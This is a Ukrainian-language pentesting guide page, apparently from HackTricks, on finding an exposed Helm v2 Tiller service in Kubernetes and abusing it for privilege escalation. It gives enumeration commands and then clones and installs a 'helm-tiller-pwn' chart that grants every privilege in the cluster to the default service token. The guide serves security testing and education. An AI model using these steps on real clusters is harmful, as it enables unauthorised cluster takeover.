{{#include ../banners/hacktricks-training.md}} # Основна інформація Helm є **менеджером пакетів** для Kubernetes. Він дозволяє пакувати YAML файли та розповсюджувати їх у публічних і приватних репозиторіях. Ці пакети називаються **Helm Charts**. **Tiller** є **сервісом**, який **запускається** за замовчуванням на порту 44134, пропонуючи цю послугу. **Порт за замовчуванням:** 44134 ``` PORT STATE SERVICE VERSION 44134/tcp open unknown ``` # Перерахування Якщо ви можете **перерахувати поди та/або сервіси** різних просторових імен, перераховуйте їх і шукайте ті, що містять **"tiller" у своїй назві**: ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` Приклади: ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` Ви також можете спробувати знайти цю службу, перевіряючи порт 44134: ```bash sudo nmap -sS -p 44134 ``` Як тільки ви його виявите, ви можете зв'язатися з ним, завантаживши клієнтський додаток helm. Ви можете використовувати інструменти, такі як `homebrew`, або переглянути [**сторінку офіційних релізів**](https://github.com/helm/helm/releases)**.** Для отримання додаткової інформації або інших варіантів дивіться [посібник з установки](https://v2.helm.sh/docs/using_helm/#installing-helm). Тоді ви можете **перерахувати сервіс**: ``` helm --host tiller-deploy.kube-system:44134 version ``` ## Підвищення привілеїв За замовчуванням **Helm2** був встановлений у **namespace kube-system** з **високими привілеями**, тому якщо ви знайдете сервіс і матимете до нього доступ, це може дозволити вам **підвищити привілеї**. Все, що вам потрібно зробити, це встановити пакет, подібний до цього: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn), який надасть **доступ до всього в усьому кластері для токена сервісу за замовчуванням.** ``` git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` В [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) ви маєте **пояснення атаки**, але в основному, якщо ви прочитаєте файли [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) та [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) всередині _helm-tiller-pwn/pwnchart/templates/_ ви можете побачити, як **всі привілеї надаються за замовчуванням токену**. {{#include ../banners/hacktricks-training.md}}